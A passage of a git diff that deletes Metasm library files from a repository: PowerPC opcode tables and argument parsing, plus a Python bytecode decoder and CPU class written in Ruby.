name, bin - argprops.each { |a| - o.args << a if @valid_args[a] - o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] - o.props[a] = true if @valid_props[a] - } - @opcode_list << o - end - - # generate l/a variations, add :setip/:saveip, include lr/ctr in opname - def addop_branch(nbase, bin, *argprops) - nbase += 'ctr' if argprops.delete :ctr - nbase += 'lr' if argprops.delete :lr - addop(nbase, bin, :setip, *argprops) - addop(nbase+'l', bin|1, :setip, :saveip, *argprops) - return if nbase[-2, 2] == 'lr' or nbase[-3, 3] == 'ctr' - - addop(nbase+'a', bin|2, :setip, *argprops) - addop(nbase+'la', bin|3, :setip, :saveip, *argprops) - end - - # generate condition variations, passes to addop_branch - def addop_branchcond(nbase, bin, *argprops) - # :bi & 0b11100 is the condition register to use, shift&mask == :bfa. Defaults to cr0 - # bo values - # no cc (10000 != 0) - addop_branch(nbase, bin|(0b10100<<21), :ign_bo_zzz, :stopexec, *argprops) - addop_branch(nbase+'dz', bin|(0b10010<<21), :ign_bo_at2, :stopexec, *argprops) if not argprops.include? :ctr - addop_branch(nbase+'dnz', bin|(0b10000<<21), :ign_bo_at2, :stopexec, *argprops) if not argprops.include? :ctr - - # conditionnal - %w[lt gt eq so].each_with_index { |cd, i| - ncd = {'lt' => 'gte', 'gt' => 'lte', 'eq' => 'ne', 'so' => 'nso'}[cd] - addop_branch(nbase+cd, bin|(0b1100<<21)|(i<<16), :ign_bo_at, *argprops) - addop_branch(nbase+cd, bin|(0b1100<<21)|(i<<16), :ign_bo_at, :bfa, *argprops) - addop_branch(nbase+ncd, bin|(0b100<<21)|(i<<16), :ign_bo_at, *argprops) - addop_branch(nbase+ncd, bin|(0b100<<21)|(i<<16), :ign_bo_at, :bfa, *argprops) - next if argprops.include? :ctr - - addop_branch(nbase+'dz'+cd, bin|(0b1010<<21)|(i<<16), :ign_bo_z, *argprops) - addop_branch(nbase+'dz'+cd, bin|(0b1010<<21)|(i<<16), :ign_bo_z, :bfa, *argprops) - addop_branch(nbase+'dnz'+cd, bin|(0b1000<<21)|(i<<16), :ign_bo_z, *argprops) - addop_branch(nbase+'dnz'+cd, bin|(0b1000<<21)|(i<<16), :ign_bo_z, :bfa, *argprops) - addop_branch(nbase+'dz'+ncd, bin|(0b010<<21)|(i<<16), :ign_bo_z, *argprops) - addop_branch(nbase+'dz'+ncd, bin|(0b010<<21)|(i<<16), :ign_bo_z, :bfa, *argprops) - addop_branch(nbase+'dnz'+ncd, bin|(0b000<<21)|(i<<16), :ign_bo_z, *argprops) - addop_branch(nbase+'dnz'+ncd, bin|(0b000<<21)|(i<<16), :ign_bo_z, :bfa, *argprops) - } - end - - def addop_trap(nbase, bin, *argprops) - addop nbase+'trap', bin|(0b11111<<21), *argprops - addop nbase+'lt', bin|(0b10000<<21), *argprops - addop nbase+'le', bin|(0b10100<<21), *argprops - addop nbase+'eq', bin|(0b00100<<21), *argprops - addop nbase+'ge', bin|(0b01100<<21), *argprops - addop nbase+'gt', bin|(0b01000<<21), *argprops - addop nbase+'ne', bin|(0b11000<<21), *argprops - addop nbase+'llt', bin|(0b00010<<21), *argprops - addop nbase+'lle', bin|(0b00110<<21), *argprops - addop nbase+'lge', bin|(0b00101<<21), *argprops - addop nbase+'lgt', bin|(0b00001<<21), *argprops - end - - - # generate cmp variations (default cr0, w/d) - def addop_cmp(nbase, bin, *argprops) - addop nbase.sub(/(cmpl?)/, '\\1w'), bin, *(argprops-[:bf]) - addop nbase.sub(/(cmpl?)/, '\\1w'), bin, *argprops - addop nbase.sub(/(cmpl?)/, '\\1d'), bin|(1<<@fields_shift[:l]), *(argprops-[:bf]) - addop nbase.sub(/(cmpl?)/, '\\1d'), bin|(1<<@fields_shift[:l]), *argprops - end - - # adds op and 'op.' with last bit of bin set - def addop_(base, bin, *argprops) - addop(base, bin, *argprops) - addop(base+'.', bin|1, *argprops) - end - - # adds op and 'opo' - def addop_o(base, bin, *argprops) - addop(base, bin, *argprops) - addop(base+'o', bin|0x400, *argprops) - end - - def init - @opcode_list = [] - @fields_shift.update :aa => 1, :ba => 16, :bb => 11, :bd => 2, :bf => 23, - :bfa => 18, :bh => 11, :bt => 21, :d => 0, :dq => 4, - :ds => 2, :flm => 17, :fra => 16, :frb => 11, :frc => 6, :frs => 21, - :frt => 21, :fxm => 12, :l => 21, :l_ => 21, :l__ => 16, :lev => 5, - :li => 2, :lk => 0, :mb => 5, :mb_ => 6, :me => 5, :me_ => 1, - :nb => 11, :oe => 10, :ra => 16, :rb => 11, :rc => 0, :rs => 21, - :rt => 21, :sh => 11, :sh_ => 1, :si => 0, :spr => 11, :sr => 16, - :tbr => 11, :th => 21, :to => 21, :u => 12, :ui => 0, - :ign_bo_zzz => 16, :ign_bo_z => 21, :ign_bo_at => 21, :ign_bo_at2 => 16 - - @fields_mask.update :aa => 1, :ba => 31, :bb => 31, :bd => 0x3FFF, :bf => 7, - :bfa => 7, :bh => 3, :bt => 31, :d => 0xFFFF, :dq => 0xFFF, - :ds => 0x3FFF, :flm => 255, :fra => 31, :frb => 31, :frc => 31, :frs => 31, - :frt => 31, :fxm => 255, :l => 1, :l_ => 3, :l__ => 1, :lev => 127, - :li => 0xFFFFFF, :lk => 1, :mb => 63, :mb_ => 31, :me => 63, :me_ => 31, - :nb => 31, :oe => 1, :ra => 31, :rb => 31, :rc => 1, :rs => 31, - :rt => 31, :sh => 31, :sh_ => 1, :si => 0xFFFF, :spr => 0x3FF, :sr => 15, - :tbr => 0x3FF, :th => 15, :to => 31, :u => 15, :ui => 0xFFFF, - :ign_bo_zzz => 0b101111111, :ign_bo_z => 1, :ign_bo_at => 3, :ign_bo_at2 => 0b100111111 - - @valid_args = @fields_mask.dup - [:ign_bo_zzz, :ign_bo_z, :ign_bo_at, :ign_bo_at2, :aa, :lk, :oe, :rc, :l].each { |k| @valid_args.delete k } - - @fields_shift[:ra_i16] = @fields_shift[:ra_i16s] = @fields_shift[:ra_i16q] = 0 - @fields_mask[:ra_i16] = (@fields_mask[:d] << @fields_shift[:d]) | (@fields_mask[:ra] << @fields_shift[:ra]) - @fields_mask[:ra_i16s] = (@fields_mask[:ds] << @fields_shift[:d]) | (@fields_mask[:ra] << @fields_shift[:ra]) - @fields_mask[:ra_i16q] = (@fields_mask[:dq] << @fields_shift[:d]) | (@fields_mask[:ra] << @fields_shift[:ra]) - - - addop_branch 'b', 0x48000000, :li, :stopexec - addop_branchcond 'b', 0x40000000, :bd - addop_branchcond 'b', 0x4C000020, :lr - addop_branchcond 'b', 0x4C000420, :ctr - - addop 'sc', 0x44000002, :lev - addop 'crand', 0x4C000202, :bt, :ba, :bb - addop 'crxor', 0x4C000182, :bt, :ba, :bb - # alias crclr bx -> crxor bx, bx, bx - addop 'cror', 0x4C000382, :bt, :ba, :bb - # alias crmove bx, by -> cror bx, by, by - addop 'crnand', 0x4C0001C2, :bt, :ba, :bb - addop 'crnor', 0x4C000042, :bt, :ba, :bb - # alias crnot bx, by -> crnor bx, by, by - addop 'crandc', 0x4C000102, :bt, :ba, :bb - addop 'creqv', 0x4C000242, :bt, :ba, :bb - # alias crset bx -> creqv bx, bx, bx - addop 'crorc', 0x4C000342, :bt, :ba, :bb - addop 'mcrf', 0x4C000000, :bf, :bfa - addop 'lbz', 0x88000000, :rt, :ra_i16 - addop 'lbzu', 0x8C000000, :rt, :ra_i16 - addop 'lbzx', 0x7C0000AE, :rt, :ra, :rb - addop 'lbzux', 0x7C0000EE, :rt, :ra, :rb - addop 'lhz', 0xA0000000, :rt, :ra_i16 - addop 'lhzu', 0xA4000000, :rt, :ra_i16 - addop 'lhzx', 0x7C00022E, :rt, :ra, :rb - addop 'lhzux', 0x7C00026E, :rt, :ra, :rb - addop 'lha', 0xA8000000, :rt, :ra_i16 - addop 'lhau', 0xAC000000, :rt, :ra_i16 - addop 'lhax', 0x7C0002AE, :rt, :ra, :rb - addop 'lhaux', 0x7C0002EE, :rt, :ra, :rb - addop 'lwz', 0x80000000, :rt, :ra_i16 - addop 'lwzu', 0x84000000, :rt, :ra_i16 - addop 'lwzx', 0x7C00002E, :rt, :ra, :rb - addop 'lwzux', 0x7C00006E, :rt, :ra, :rb - addop 'lwa', 0xE8000002, :rt, :ra_i16s - addop 'lwax', 0x7C0002AA, :rt, :ra, :rb - addop 'lwaux', 0x7C0002EA, :rt, :ra, :rb - addop 'ld', 0xE8000000, :rt, :ra_i16s - addop 'ldu', 0xE8000001, :rt, :ra_i16s - addop 'ldx', 0x7C00002A, :rt, :ra, :rb - addop 'ldux', 0x7C00006A, :rt, :ra, :rb - addop 'stb', 0x98000000, :rs, :ra_i16 - addop 'stbu', 0x9C000000, :rs, :ra_i16 - addop 'stbx', 0x7C0001AE, :rs, :ra, :rb - addop 'stbux', 0x7C0001EE, :rs, :ra, :rb - addop 'sth', 0xB0000000, :rs, :ra_i16 - addop 'sthu', 0xB4000000, :rs, :ra_i16 - addop 'sthx', 0x7C00032E, :rs, :ra, :rb - addop 'sthux', 0x7C00036E, :rs, :ra, :rb - addop 'stw', 0x90000000, :rs, :ra_i16 - addop 'stwu', 0x94000000, :rs, :ra_i16 - addop 'stwx', 0x7C00012E, :rs, :ra, :rb - addop 'stwux', 0x7C00016E, :rs, :ra, :rb - addop 'std', 0xF8000000, :rs, :ra_i16s - addop 'stdu', 0xF8000001, :rs, :ra_i16s - addop 'stdx', 0x7C00012A, :rs, :ra, :rb - addop 'stdux', 0x7C00016A, :rs, :ra, :rb - addop 'lhbrx', 0x7C00062C, :rt, :ra, :rb - addop 'lwbrx', 0x7C00042C, :rt, :ra, :rb - addop 'sthbrx', 0x7C00072C, :rs, :ra, :rb - addop 'stwbrx', 0x7C00052C, :rs, :ra, :rb - addop 'lmw', 0xB8000000, :rt, :ra_i16 - addop 'stmw', 0xBC000000, :rs, :ra_i16 - addop 'lswi', 0x7C0004AA, :rt, :ra, :nb - addop 'lswx', 0x7C00042A, :rt, :ra, :rb - addop 'stswi', 0x7C0005AA, :rs, :ra, :nb - addop 'stswx', 0x7C00052A, :rs, :ra, :rb - addop 'li', 0x38000000, :rt, :si # alias li rx, value -> addi rx, 0, value - addop 'addi', 0x38000000, :rt, :ra, :si - addop 'la', 0x38000000, :rt, :ra_i16 # alias la rx, disp(ry) -> addi rx, ry, disp - addop 'lis', 0x3C000000, :rt, :si # alias lis rx, value -> addis rx, 0, value - addop 'addis', 0x3C000000, :rt, :ra, :si - addop_o 'add', 0x7C000214, :rt, :ra, :rb - addop 'addic', 0x30000000, :rt, :ra, :si - addop_o 'sub', 0x7C000050, :rt, :rb, :ra # alias sub rx, ry, rz -> subf rx, rz, ry - addop_o 'subf', 0x7C000050, :rt, :ra, :rb - addop 'addic.', 0x34000000, :rt, :ra, :si - addop 'subfic', 0x20000000, :rt, :ra, :si - addop_o 'addc', 0x7C000014, :rt, :ra, :rb - addop_o 'subc', 0x7C000010, :rt, :rb, :ra # alias subc rx, ry, rz -> subfc rx, rz, ry - addop_o 'subfc',0x7C000010, :rt, :ra, :rb - addop_o 'adde', 0x7C000114, :rt, :ra, :rb - addop_o 'addme',0x7C0001D4, :rt, :ra - addop_o 'subfe',0x7C000110, :rt, :ra, :rb - addop_o 'subfme',0x7C0001D0,:rt, :ra - addop_o 'addze',0x7C000194, :rt, :ra - addop_o 'subfze',0x7C000190,:rt, :ra - addop_o 'neg', 0x7C0000D0, :rt, :ra - addop 'mulli', 0x1C000000, :rt, :ra, :si - addop_o 'mulld',0x7C0001D2, :rt, :ra, :rb - addop_o 'mullw',0x7C0001D6, :rt, :ra, :rb - addop_ 'mulhd', 0x7C000092, :rt, :ra, :rb - addop_ 'mulhdu',0x7C000012, :rt, :ra, :rb - addop_ 'mulhw', 0x7C000096, :rt, :ra, :rb - addop_ 'mulhwu',0x7C000016, :rt, :ra, :rb - addop_o 'divd', 0x7C0003D2, :rt, :ra, :rb - addop_o 'divw', 0x7C0003D6, :rt, :ra, :rb - addop_o 'divdu',0x7C000392, :rt, :ra, :rb - addop_o 'divwu',0x7C000396, :rt, :ra, :rb - addop_cmp 'cmpi', 0x2C000000, :bf, :ra, :si - addop_cmp 'cmp', 0x7C000000, :bf, :ra, :rb - addop_cmp 'cmpli', 0x28000000, :bf, :ra, :ui - addop_cmp 'cmpl', 0x7C000040, :bf, :ra, :rb - addop 'andi.', 0x70000000, :ra, :rs, :ui - addop 'andis.', 0x74000000, :ra, :rs, :ui - addop 'nop', 0x60000000 - addop 'ori', 0x60000000, :ra, :rs, :ui - addop 'oris', 0x64000000, :ra, :rs, :ui - addop 'xori', 0x68000000, :ra, :rs, :ui - addop 'xoris', 0x6C000000, :ra, :rs, :ui - addop_ 'and', 0x7C000038, :ra, :rs, :rb - addop_ 'xor', 0x7C000278, :ra, :rs, :rb - addop_ 'or', 0x7C000378, :ra, :rs, :rb - # alias mr rx, ry -> or rx, ry, ry - addop_ 'nand', 0x7C0003B8, :ra, :rs, :rb - addop_ 'nor', 0x7C0000F8, :ra, :rs, :rb - # alias not rx, ry -> nor rx, ry, ry - addop_ 'andc', 0x7C000078, :ra, :rs, :rb - addop_ 'eqv', 0x7C000238, :ra, :rs, :rb - addop_ 'orc', 0x7C000338, :ra, :rs, :rb - addop_ 'extsb', 0x7C000774, :ra, :rs - addop_ 'extsw', 0x7C0007B4, :ra, :rs - addop_ 'extsh', 0x7C000734, :ra, :rs - addop_ 'cntlzd',0x7C000074, :ra, :rs - addop_ 'cntlzw',0x7C000034, :ra, :rs - addop 'popcntb',0x7C0000F4, :ra, :rs - addop 'clrldi', 0x78000000, :ra, :rs, :mb # alias clrldi rx, ry, n -> rldicl rx, ry, 0, n - addop_ 'rldicl',0x78000000, :ra, :rs, :sh, :mb, :sh_ - # alias extrdi rx, ry, n, b -> rldicl rx, ry, b+n, 64 - n - # alias srdi rx, ry, n -> rldicl rx, ry, 64 - n, n - addop_ 'rldicr',0x78000004, :ra, :rs, :sh, :me, :sh_ - # alias extldi rx, ry, n, b -> rldicr rx, ry, b, n - 1 - # alias sldi rx, ry, n -> rldicr rx, ry, n, 63 - n - # alias clrrdi rx, ry, n -> rldicr rx, ry, 0, 63 - n - addop_ 'rldic', 0x78000008, :ra, :rs, :sh, :mb, :sh_ - # alias clrlsldi rx, ry, b, n -> rldic rx, ry, n, b - n - addop_ 'rlwinm',0x54000000, :ra, :rs, :sh, :mb_, :me_ - # alias extlwi rx, ry, n, b -> rlwinm rx, ry, b, 0, n - 1 - # alias srwi rx, ry, n -> rlwinm rx, ry, 32 - n, n, 31 - # alias clrrwi rx, ry, n -> rlwinm rx, ry, 0, 0, 31 - n - addop 'rotld', 0x78000010, :ra, :rs, :rb # alias rotld rx, ry, rz -> rldcl rx, ry, rz, 0 - addop_ 'rldcl', 0x78000010, :ra, :rs, :rb, :mb - addop_ 'rldcr', 0x78000012, :ra, :rs, :rb, :me - addop 'rotlw', 0x5C000000|(31<<@fields_shift[:me_]), :ra, :rs, :rb # alias rotlw rx, ry, rz -> rlwnm rx, ry, rz, 0, 31 - addop_ 'rlwnm', 0x5C000000, :ra, :rs, :rb, :mb_, :me_ - addop_ 'rldimi',0x7800000C, :ra, :rs, :sh, :mb, :sh_ - # alias insrdi rx, ry, n, b -> rldimi rx, ry, 64 - (b+n), b - addop_ 'rlwimi',0x50000000, :ra, :rs, :sh, :mb_, :me_ - # alias inslwi rx, ry, n, b -> rlwimi rx, ry, 32-b, b, b+n - 1 - addop_ 'sld', 0x7C000036, :ra, :rs, :rb - addop_ 'slw', 0x7C000030, :ra, :rs, :rb - addop_ 'srd', 0x7C000436, :ra, :rs, :rb - addop_ 'srw', 0x7C000430, :ra, :rs, :rb - addop_ 'sradi', 0x7C000674, :ra, :rs, :sh, :sh_ - addop_ 'srawi', 0x7C000670, :ra, :rs, :sh - addop_ 'srad', 0x7C000634, :ra, :rs, :rb - addop_ 'sraw', 0x7C000630, :ra, :rs, :rb - #addop 'mtspr', 0x7C0003A6, :spr, :rs - addop 'mtxer', 0x7C0003A6|(1<<16), :rs - addop 'mtlr', 0x7C0003A6|(8<<16), :rs - addop 'mtctr', 0x7C0003A6|(9<<16), :rs - #addop 'mfspr', 0x7C0002A6, :rt, :spr - addop 'mfxer', 0x7C0002A6|(1<<16), :rt - addop 'mflr', 0x7C0002A6|(8<<16), :rt - addop 'mfctr', 0x7C0002A6|(9<<16), :rt - addop 'mtcrf', 0x7C000120, :fxm, :rs - # alias mtcr rx -> mtcrf 0xff, rx - addop 'mfcr', 0x7C000026, :rt - addop 'lfs', 0xC0000000, :frt, :ra_i16 - addop 'lfsu', 0xC4000000, :frt, :ra_i16 - addop 'lfsx', 0x7C00042E, :frt, :ra, :rb - addop 'lfsux', 0x7C00046E, :frt, :ra, :rb - addop 'lfd', 0xC8000000, :frt, :ra_i16 - addop 'lfdu', 0xCC000000, :frt, :ra_i16 - addop 'lfdx', 0x7C0004AE, :frt, :ra, :rb - addop 'lfdux', 0x7C0004EE, :frt, :ra, :rb - addop 'stfs', 0xD0000000, :frs, :ra_i16 - addop 'stfsu', 0xD4000000, :frs, :ra_i16 - addop 'stfsx', 0x7C00052E, :frs, :ra, :rb - addop 'stfsux', 0x7C00056E, :frs, :ra, :rb - addop 'stfd', 0xD8000000, :frs, :ra_i16 - addop 'stfdu', 0xDC000000, :frs, :ra_i16 - addop 'stfdx', 0x7C0005AE, :frs, :ra, :rb - addop 'stfdux', 0x7C0005EE, :frs, :ra, :rb - addop 'stfiwx', 0x7C0007AE, :frs, :ra, :rb - addop_ 'fmr', 0xFC000090, :frt, :frb - addop_ 'fabs', 0xFC000210, :frt, :frb - addop_ 'fneg', 0xFC000050, :frt, :frb - addop_ 'fnabs', 0xFC000110, :frt, :frb - addop_ 'fadd', 0xFC00002A, :frt, :fra, :frb - addop_ 'fadds', 0xEC00002A, :frt, :fra, :frb - addop_ 'fsub', 0xFC000028, :frt, :fra, :frb - addop_ 'fsubs', 0xEC000028, :frt, :fra, :frb - addop_ 'fmul', 0xFC000032, :frt, :fra, :frc - addop_ 'fmuls', 0xEC000032, :frt, :fra, :frc - addop_ 'fdiv', 0xFC000024, :frt, :fra, :frb - addop_ 'fdivs', 0xEC000024, :frt, :fra, :frb - addop_ 'fmadd', 0xFC00003A, :frt, :fra, :frc, :frb - addop_ 'fmadds',0xEC00003A, :frt, :fra, :frc, :frb - addop_ 'fmsub', 0xFC000038, :frt, :fra, :frc, :frb - addop_ 'fmsubs',0xEC000038, :frt, :fra, :frc, :frb - addop_ 'fnmadd',0xFC00003E, :frt, :fra, :frc, :frb - addop_ 'fnmadds',0xEC00003E,:frt, :fra, :frc, :frb - addop_ 'fnmsub',0xFC00003C, :frt, :fra, :frc, :frb - addop_ 'fnmsubs',0xEC00003C,:frt, :fra, :frc, :frb - addop_ 'frsp', 0xFC000018, :frt, :frb - addop_ 'fctid', 0xFC00065C, :frt, :frb - addop_ 'fctidz',0xFC00065E, :frt, :frb - addop_ 'fctiw', 0xFC00001C, :frt, :frb - addop_ 'fctiwz',0xFC00001E, :frt, :frb - addop_ 'fcfid', 0xFC00069C, :frt, :frb - addop 'fcmpu', 0xFC000000, :bf, :fra, :frb - addop 'fcmpo', 0xFC000040, :bf, :fra, :frb - addop_ 'mffs', 0xFC00048E, :frt - addop 'mcrfs', 0xFC000080, :bf, :bfa - addop_ 'mtfsfi',0xFC00010C, :bf, :u - addop_ 'mtfsf', 0xFC00058E, :flm, :frb - addop_ 'mtfsb0',0xFC00008C, :bt - addop_ 'mtfsb1',0xFC00004C, :bt - addop 'mtocrf', 0x7C100120, :fxm, :rs - addop_ 'fsqrt', 0xFC00002C, :frt, :frb - addop_ 'fsqrts',0xEC00002C, :frt, :frb - addop_ 'fre', 0xFC000030, :frt, :frb - addop_ 'fres', 0xEC000030, :frt, :frb - addop_ 'frsqrte',0xFC000034,:frt, :frb - addop_ 'frsqrtes',0xEC000034, :frt, :frb - addop_ 'fsel', 0xFC00002E, :frt, :fra, :frc, :frb - addop 'mcrxr', 0x7C000400, :bf - addop 'icbi', 0x7C0007AC, :ra, :rb - addop 'dcbt', 0x7C00022C, :ra, :rb - addop 'dcbtst', 0x7C0001EC, :ra, :rb - addop 'dcbz', 0x7C0007EC, :ra, :rb - addop 'dcbst', 0x7C00006C, :ra, :rb - addop 'dcbf', 0x7C0000AC, :ra, :rb - addop 'isync', 0x4C00012C - addop 'lwarx', 0x7C000028, :rt, :ra, :rb - addop 'ldarx', 0x7C0000A8, :rt, :ra, :rb - addop 'stwcx.', 0x7C00012D, :rs, :ra, :rb - addop 'stdcx.', 0x7C0001AD, :rs, :ra, :rb - addop 'sync', 0x7C0004AC, :l_ - addop 'eieio', 0x7C0006AC - addop 'mftb', 0x7C0002E6, :rt, :tbr - addop 'eciwx', 0x7C00026C, :rt, :ra, :rb - addop 'ecowx', 0x7C00036C, :rs, :ra, :rb - addop 'dcbt', 0x7C00022C, :ra, :rb, :th - addop 'dcbf', 0x7C0000AC, :ra, :rb - addop 'dcbf', 0x7C0000AC, :ra, :rb, :l - addop 'sc', 0x44000002, :lev - addop 'rfid', 0x4C000024 - addop 'hrfid', 0x4C000224 - addop 'mtmsrd', 0x7C000164, :rs, :l__ - addop 'mfmsr', 0x7C0000A6, :rt - addop 'slbie', 0x7C000364, :rb - addop 'slbmte', 0x7C000324, :rs, :rb - addop 'slbmfev',0x7C0006A6, :rt, :rb - addop 'slbmfee',0x7C000726, :rt, :rb - addop 'tlbie', 0x7C000264, :rb, :l - addop 'tlbiel', 0x7C000224, :rb, :l - addop 'tlbia', 0x7C0002E4 - addop 'tlbsync',0x7C00046C - addop 'mtmsr', 0x7C000124, :rs, :l__ - addop 'lq', 0xE0000000, :rt, :ra_i16q - addop 'stq', 0xF8000002, :rs, :ra_i16s - addop 'mtsr', 0x7C0001A4, :sr, :rs - addop 'mtsrin', 0x7C0001E4, :rs, :rb - addop 'mfsr', 0x7C0004A6, :rt, :sr - addop 'mfsrin', 0x7C000526, :rt, :rb - - addop_trap 'tw', 0x7C000008, :ra, :rb - addop_trap 'twi', 0xC0000000, :ra, :si - addop_trap 'td', 0x7C000088, :ra, :rb - addop_trap 'tdi', 0x08000000, :ra, :si - - # pseudo-instructions - addop 'mr', :pseudo, :ra, :rb - addop 'not', :pseudo, :ra - addop 'not', :pseudo, :ra, :rb - @opcode_list.each { |op| - if op.name =~ /^addi/ - addop op.name.sub('add', 'sub'), :pseudo, *op.args - end - if op.name =~ /^(add|sub|xor|and|or|div|mul|nand)/ and op.args.length == 3 - addop op.name, :pseudo, *op.args[1..-1] - end - } - end -end -end diff --git a/lib/metasm/metasm/cpu/ppc/parse.rb b/lib/metasm/metasm/cpu/ppc/parse.rb deleted file mode 100644 index e534a79c31..0000000000 --- a/lib/metasm/metasm/cpu/ppc/parse.rb +++ /dev/null @@ -1,55 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/ppc/opcodes' -require 'metasm/parse' - -module Metasm -class PowerPC -# TODO - def parse_arg_valid?(op, sym, arg) - case sym - when :ra, :rb, :rs, :rt; arg.kind_of?(GPR) - when :fra, :frb, :frc, :frs, :frt; arg.kind_of?(FPR) - when :ra_i16, :ra_i16s, :ra_i16q; arg.kind_of?(Memref) - when :bd, :d, :ds, :dq, :si, :ui, :li, :sh, :mb, :me, :mb_, :me_, :u; arg.kind_of?(Expression) - when :ba, :bf, :bfa, :bt; arg.kind_of?(CR) - when :ign_bo_zzz, :ign_bo_z, :ign_bo_at, :ign_bo_at2, :aa, :lk, :oe, :rc, :l; # ? - when :bb, :bh, :flm, :fxm, :l_, :l__, :lev, :nb, :sh_, :spr, :sr, :tbr, :th, :to - # TODO - else raise "internal error: mips arg #{sym.inspect}" - end - end - - def parse_argument(pgm) - pgm.skip_space - return if not tok = pgm.readtok - if tok.type == :string - return GPR.new(GPR.s_to_i[tok.raw]) if GPR.s_to_i[tok.raw] - return SPR.new(SPR.s_to_i[tok.raw]) if SPR.s_to_i[tok.raw] - return FPR.new(FPR.s_to_i[tok.raw]) if FPR.s_to_i[tok.raw] - return CR.new(CR.s_to_i[tok.raw]) if CR.s_to_i[tok.raw] - return MSR.new if tok.raw == 'msr' - end - pgm.unreadtok tok - arg = Expression.parse pgm - pgm.skip_space - # check memory indirection: 'off(base reg)' # XXX scaled index ? - if arg and pgm.nexttok and pgm.nexttok.type == :punct and pgm.nexttok.raw == '(' - pgm.readtok - pgm.skip_space_eol - ntok = pgm.readtok - raise tok, "Invalid base #{ntok}" unless ntok and ntok.type == :string and GPR.s_to_i[ntok.raw] - base = GPR.new GPR.s_to_i[ntok.raw] - pgm.skip_space_eol - ntok = pgm.readtok - raise tok, "Invalid memory reference, ')' expected" if not ntok or ntok.type != :punct or ntok.raw != ')' - arg = Memref.new base, arg - end - arg - end -end -end diff --git a/lib/metasm/metasm/cpu/python.rb b/lib/metasm/metasm/cpu/python.rb deleted file mode 100644 index 9ef1a00da4..0000000000 --- a/lib/metasm/metasm/cpu/python.rb +++ /dev/null @@ -1,8 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/cpu/python/decode' diff --git a/lib/metasm/metasm/cpu/python/decode.rb b/lib/metasm/metasm/cpu/python/decode.rb deleted file mode 100644 index 12bd7a2e0d..0000000000 --- a/lib/metasm/metasm/cpu/python/decode.rb +++ /dev/null @@ -1,136 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/cpu/python/opcodes' -require 'metasm/decode' - -module Metasm -class Python - def build_bin_lookaside - opcode_list.inject({}) { |la, op| la.update op.bin => op } - end - - def decode_findopcode(edata) - di = DecodedInstruction.new(self) - - byte = edata.decode_imm(:u8, :little) - - di if di.opcode = @bin_lookaside[byte] - end - - def decode_instr_op(edata, di) - di.bin_length = 1 - - di.instruction.opname = di.opcode.name - - di.opcode.args.each { |a| - case a - when :cmp - di.bin_length += 2 - v = edata.decode_imm(:i16, @endianness) - di.instruction.args << (CMP_OP[v] || Expression[v]) - when :i16 - di.bin_length += 2 - di.instruction.args << Expression[edata.decode_imm(:i16, @endianness)] - when :u8 - di.bin_length += 1 - di.instruction.args << Expression[edata.decode_imm(:u8, @endianness)] - else - raise "unsupported arg #{a.inspect}" - end - } - - return if edata.ptr > edata.length - - di - end - - def decode_instr_interpret(di, addr) - case di.opcode.name - when 'LOAD_CONST' - if c = prog_code(addr) - cst = c[:consts][di.instruction.args.first.reduce] - if cst.kind_of? Hash and cst[:type] == :code - di.add_comment "lambda #{Expression[cst[:fileoff]]}" - else - di.add_comment cst.inspect - end - end - when 'LOAD_NAME', 'LOAD_ATTR', 'LOAD_GLOBAL', 'STORE_NAME', 'IMPORT_NAME', 'LOAD_FAST' - if c = prog_code(addr) - di.add_comment c[:names][di.instruction.args.first.reduce].inspect - end - end - di - end - - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - - def init_backtrace_binding - @backtrace_binding ||= {} - - opcode_list.each { |op| - binding = case op - when 'nop'; lambda { |*a| {} } - end - @backtrace_binding[op] ||= binding if binding - } - - @backtrace_binding - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when Var; arg.symbolic - else arg - end - } - - if binding = backtrace_binding[di.opcode.basename] - binding[di, *a] - else - puts "unhandled instruction to backtrace: #{di}" if $VERBOSE - { :incomplete_binding => Expression[1] } - end - end - - def get_xrefs_x(dasm, di) - return [] if not di.opcode.props[:setip] - - arg = case di.opcode.name - when 'JUMP_FORWARD', 'FOR_ITER' - # relative offset - di.instruction.args.last.reduce + di.next_addr - when 'CALL_FUNCTION_VAR' - 'lol' - when /CALL/ - :unknown - else - # absolute offset from :code start - off = di.instruction.args.last.reduce - if c = prog_code(di) - off += c[:fileoff] - end - off - end - - [Expression[(arg.kind_of?(Var) ? arg.symbolic : arg)]] - end - - def prog_code(addr) - addr = addr.address if addr.kind_of? DecodedInstruction - @last_prog_code ||= nil - return @last_prog_code if @last_prog_code and @last_prog_code[:fileoff] <= addr and @last_prog_code[:fileoff] + @last_prog_code[:code].length > addr - @last_prog_code = @program.code_at_off(addr) if @program - end - - def backtrace_is_function_return(expr, di=nil) - #Expression[expr].reduce == Expression['wtf'] - end -end -end diff --git a/lib/metasm/metasm/cpu/python/main.rb b/lib/metasm/metasm/cpu/python/main.rb deleted file mode 100644 index f5918a4233..0000000000 --- a/lib/metasm/metasm/cpu/python/main.rb +++ /dev/null @@ -1,36 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/main' - -module Metasm -class Python < CPU - def initialize(prog = nil) - super() - @program = prog - @endianness = (prog.respond_to?(:endianness) ? prog.endianness : :little) - @size = (prog.respond_to?(:size) ? prog.size : 32) - end - - class Var - include Renderable - - attr_accessor :i - - def initialize(i); @i = i end - - def ==(o) - o.class == self.class and o.i == i - end - - def symbolic; "var_#{@i}".to_sym end - - def render - ["var_#@i"] - end - - end -end -end diff --git a/lib/metasm/metasm/cpu/python/opcodes.rb b/lib/metasm/metasm/cpu/python/opcodes.rb deleted file mode 100644 index 1e55d2fb95..0000000000 --- a/lib/metasm/metasm/cpu/python/opcodes.rb +++ /dev/null @@ -1,180 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see 